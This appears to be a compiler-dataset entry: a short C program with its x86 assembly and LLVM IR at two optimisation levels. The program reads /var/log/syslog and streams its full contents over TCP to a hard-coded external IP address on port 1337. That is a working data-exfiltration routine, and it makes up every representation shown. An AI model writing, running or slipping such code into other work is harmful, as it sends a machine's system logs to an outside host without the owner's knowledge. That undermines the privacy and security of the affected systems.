#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  int /*<<< orphan*/ sin_port;
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ server;
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int EXIT_FAILURE;
int EXIT_SUCCESS;
int /*<<< orphan*/ IPPROTO_TCP;
int /*<<< orphan*/ PF_INET;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ close(int);
scalar_t__ connect(int, struct sockaddr *, int);
int /*<<< orphan*/ fclose(int /*<<< orphan*/ *);
int /*<<< orphan*/ feof(int /*<<< orphan*/ *);
int /*<<< orphan*/ *fopen(char *, char *);
int fread(char **, int, int, int /*<<< orphan*/ *);
int /*<<< orphan*/ htons(unsigned short);
int /*<<< orphan*/ inet_addr(char *);
int /*<<< orphan*/ memset(struct sockaddr_in *, int /*<<< orphan*/, int);
int /*<<< orphan*/ send(int, char **, int, int /*<<< orphan*/);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int main(int argc, char *argv[]) {
  char *buf[4096];
  int read_bytes;
  FILE *syslog = fopen("/var/log/syslog", "r");
  int sock;
  struct sockaddr_in server;
  unsigned short port = 1337;
  char *serverIP = "128.2.215.22";
  memset(&server, 0, sizeof(server));
  server.sin_family = AF_INET;
  server.sin_addr.s_addr = inet_addr(serverIP);
  server.sin_port = htons(port);
  if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    return EXIT_FAILURE;
  if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0)
    return EXIT_FAILURE;
  while (!feof(syslog)) {
    read_bytes = fread(buf, 1, 4096, syslog);
    send(sock, buf, read_bytes, 0);
  }
  close(sock);
  fclose(syslog);
  return EXIT_SUCCESS;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x8040,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
lea    0xe30(%rip),%rdi
lea    0xe39(%rip),%rsi
call   10b0 <fopen@plt>
mov    %rax,-0x8020(%rbp)
movw   $0x539,-0x8032(%rbp)
39 05
lea    0xe1f(%rip),%rax
mov    %rax,-0x8040(%rbp)
lea    -0x8030(%rbp),%rdi
xor    %esi,%esi
mov    $0xc,%edx
call   1070 <memset@plt>
mov    0x2dd4(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x8028(%rbp)
mov    -0x8040(%rbp),%rdi
call   1090 <inet_addr@plt>
mov    %eax,-0x802c(%rbp)
movzwl -0x8032(%rbp),%edi
call   1050 <htons@plt>
mov    %eax,-0x8030(%rbp)
mov    0x2d81(%rip),%rax
mov    (%rax),%edi
mov    0x2d80(%rip),%rax
mov    (%rax),%esi
mov    0x2d87(%rip),%rax
mov    (%rax),%edx
call   10d0 <socket@plt>
mov    %eax,-0x8024(%rbp)
cmp    $0x0,%eax
jge    1280 <main+0xd0>
mov    0x2d4a(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    133d <main+0x18d>
mov    -0x8024(%rbp),%edi
lea    -0x8030(%rbp),%rsi
mov    $0xc,%edx
call   10c0 <connect@plt>
cmp    $0x0,%rax
jge    12b2 <main+0x102>
mov    0x2d18(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    133d <main+0x18d>
jmp    12b7 <main+0x107>
mov    -0x8020(%rbp),%rdi
call   10a0 <feof@plt>
cmp    $0x0,%eax
setne  %al
xor    $0xff,%al
test   $0x1,%al
jne    12d8 <main+0x128>
jmp    131a <main+0x16a>
lea    -0x8010(%rbp),%rdi
mov    -0x8020(%rbp),%rcx
mov    $0x1,%esi
mov    $0x1000,%edx
call   1030 <fread@plt>
mov    %eax,-0x8014(%rbp)
mov    -0x8024(%rbp),%edi
lea    -0x8010(%rbp),%rsi
mov    -0x8014(%rbp),%edx
xor    %ecx,%ecx
call   1060 <send@plt>
jmp    12b7 <main+0x107>
mov    -0x8024(%rbp),%edi
call   1080 <close@plt>
mov    -0x8020(%rbp),%rdi
call   1040 <fclose@plt>
mov    0x2c80(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x8040,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r14
push   %rbx
sub    $0x8010,%rsp
lea    0xe3e(%rip),%rdi
lea    0xe47(%rip),%rsi
call   10b0 <fopen@plt>
mov    %rax,%r14
mov    %rsp,%rdi
xor    %esi,%esi
mov    $0xc,%edx
call   1070 <memset@plt>
mov    0x2e01(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x8(%rsp)
lea    0xe1e(%rip),%rdi
call   1090 <inet_addr@plt>
mov    %eax,0x4(%rsp)
mov    $0x539,%edi
call   1050 <htons@plt>
mov    %eax,(%rsp)
mov    0x2db7(%rip),%rax
mov    (%rax),%edi
mov    0x2db6(%rip),%rax
mov    (%rax),%esi
mov    0x2dbd(%rip),%rax
mov    (%rax),%edx
call   10d0 <socket@plt>
mov    0x2d8f(%rip),%rbx
test   %eax,%eax
js     12a5 <main+0xf5>
mov    %eax,%ebp
mov    %rsp,%rsi
mov    %eax,%edi
mov    $0xc,%edx
call   10c0 <connect@plt>
test   %rax,%rax
js     12a5 <main+0xf5>
mov    %r14,%rdi
call   10a0 <feof@plt>
test   %eax,%eax
jne    128f <main+0xdf>
lea    0x10(%rsp),%rbx
nopl   0x0(%rax)
mov    %rbx,%rdi
mov    $0x1,%esi
mov    $0x1000,%edx
mov    %r14,%rcx
call   1030 <fread@plt>
mov    %ebp,%edi
mov    %rbx,%rsi
mov    %eax,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
mov    %r14,%rdi
call   10a0 <feof@plt>
test   %eax,%eax
je     1260 <main+0xb0>
mov    %ebp,%edi
call   1080 <close@plt>
mov    %r14,%rdi
call   1040 <fclose@plt>
mov    0x2d13(%rip),%rbx
mov    (%rbx),%eax
add    $0x8010,%rsp
pop    %rbx
pop    %r14
pop    %rbp
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [16 x i8] c"/var/log/syslog\00"
@.str.1 = [2 x i8] c"r\00"
@.str.2 = [13 x i8] c"128.2.215.22\00"
@AF_INET = global i32 0
@PF_INET = global i32 0
@SOCK_STREAM = global i32 0
@IPPROTO_TCP = global i32 0
@EXIT_FAILURE = global i32 0
@EXIT_SUCCESS = global i32 0
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca [4096 x i8*]
%7 = alloca i32
%8 = alloca i32*
%9 = alloca i32
%10 = alloca %struct.sockaddr_in
%11 = alloca i16
%12 = alloca i8*
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%13 = call i32* @fopen(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
store i32* %13, i32** %8
store i16 1337, i16* %11
store i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.2, i64 0, i64 0), i8** %12
%14 = call i32 @memset(%struct.sockaddr_in* %10, i32 0, i32 12)
%15 = load i32, i32* @AF_INET
%16 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %10, i32 0, i32 2
store i32 %15, i32* %16
%17 = load i8*, i8** %12
%18 = call i32 @inet_addr(i8* %17)
%19 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %10, i32 0, i32 1
%20 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %19, i32 0, i32 0
store i32 %18, i32* %20
%21 = load i16, i16* %11
%22 = call i32 @htons(i16 zeroext %21)
%23 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %10, i32 0, i32 0
store i32 %22, i32* %23
%24 = load i32, i32* @PF_INET
%25 = load i32, i32* @SOCK_STREAM
%26 = load i32, i32* @IPPROTO_TCP
%27 = call i32 @socket(i32 %24, i32 %25, i32 %26)
store i32 %27, i32* %9
%28 = icmp slt i32 %27, 0
br i1 %28, label %29, label %31
29: ; preds = %2
%30 = load i32, i32* @EXIT_FAILURE
store i32 %30, i32* %3
br label %58
31: ; preds = %2
%32 = load i32, i32* %9
%33 = bitcast %struct.sockaddr_in* %10 to %struct.sockaddr*
%34 = call i64 @connect(i32 %32, %struct.sockaddr* %33, i32 12)
%35 = icmp slt i64 %34, 0
br i1 %35, label %36, label %38
36: ; preds = %31
%37 = load i32, i32* @EXIT_FAILURE
store i32 %37, i32* %3
br label %58
38: ; preds = %31
br label %39
39: ; preds = %44, %38
%40 = load i32*, i32** %8
%41 = call i32 @feof(i32* %40)
%42 = icmp ne i32 %41, 0
%43 = xor i1 %42, true
br i1 %43, label %44, label %52
44: ; preds = %39
%45 = getelementptr inbounds [4096 x i8*], [4096 x i8*]* %6, i64 0, i64 0
%46 = load i32*, i32** %8
%47 = call i32 @fread(i8** %45, i32 1, i32 4096, i32* %46)
store i32 %47, i32* %7
%48 = load i32, i32* %9
%49 = getelementptr inbounds [4096 x i8*], [4096 x i8*]* %6, i64 0, i64 0
%50 = load i32, i32* %7
%51 = call i32 @send(i32 %48, i8** %49, i32 %50, i32 0)
br label %39
52: ; preds = %39
%53 = load i32, i32* %9
%54 = call i32 @close(i32 %53)
%55 = load i32*, i32** %8
%56 = call i32 @fclose(i32* %55)
%57 = load i32, i32* @EXIT_SUCCESS
store i32 %57, i32* %3
br label %58
58: ; preds = %52, %36, %29
%59 = load i32, i32* %3
ret i32 %59
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [16 x i8] c"/var/log/syslog\00"
@.str.1 = [2 x i8] c"r\00"
@.str.2 = [13 x i8] c"128.2.215.22\00"
@AF_INET = global i32 0
@PF_INET = global i32 0
@SOCK_STREAM = global i32 0
@IPPROTO_TCP = global i32 0
@EXIT_FAILURE = global i32 0
@EXIT_SUCCESS = global i32 0
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = alloca [4096 x i8*]
%4 = alloca %struct.sockaddr_in
%5 = bitcast [4096 x i8*]* %3 to i8*
%6 = tail call i32* @fopen(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
%7 = bitcast %struct.sockaddr_in* %4 to i8*
%8 = call i32 @memset(%struct.sockaddr_in* %4, i32 0, i32 12)
%9 = load i32, i32* @AF_INET
%10 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 2
store i32 %9, i32* %10
%11 = call i32 @inet_addr(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.2, i64 0, i64 0))
%12 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 1, i32 0
store i32 %11, i32* %12
%13 = call i32 @htons(i16 zeroext 1337)
%14 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 0
store i32 %13, i32* %14
%15 = load i32, i32* @PF_INET
%16 = load i32, i32* @SOCK_STREAM
%17 = load i32, i32* @IPPROTO_TCP
%18 = call i32 @socket(i32 %15, i32 %16, i32 %17)
%19 = icmp slt i32 %18, 0
br i1 %19, label %37, label %20
20: ; preds = %2
%21 = bitcast %struct.sockaddr_in* %4 to %struct.sockaddr*
%22 = call i64 @connect(i32 %18, %struct.sockaddr* %21, i32 12)
%23 = icmp slt i64 %22, 0
br i1 %23, label %37, label %24
24: ; preds = %20
%25 = call i32 @feof(i32* %6)
%26 = icmp eq i32 %25, 0
br i1 %26, label %27, label %34
27: ; preds = %24
%28 = getelementptr inbounds [4096 x i8*], [4096 x i8*]* %3, i64 0, i64 0
br label %29
29: ; preds = %27, %29
%30 = call i32 @fread(i8** %28, i32 1, i32 4096, i32* %6)
%31 = call i32 @send(i32 %18, i8** %28, i32 %30, i32 0)
%32 = call i32 @feof(i32* %6)
%33 = icmp eq i32 %32, 0
br i1 %33, label %29, label %34
34: ; preds = %29, %24
%35 = call i32 @close(i32 %18)
%36 = call i32 @fclose(i32* %6)
br label %37
37: ; preds = %20, %2, %34
%38 = phi i32* [ @EXIT_SUCCESS, %34 ], [ @EXIT_FAILURE, %2 ], [ @EXIT_FAILURE, %20 ]
%39 = load i32, i32* %38
ret i32 %39
}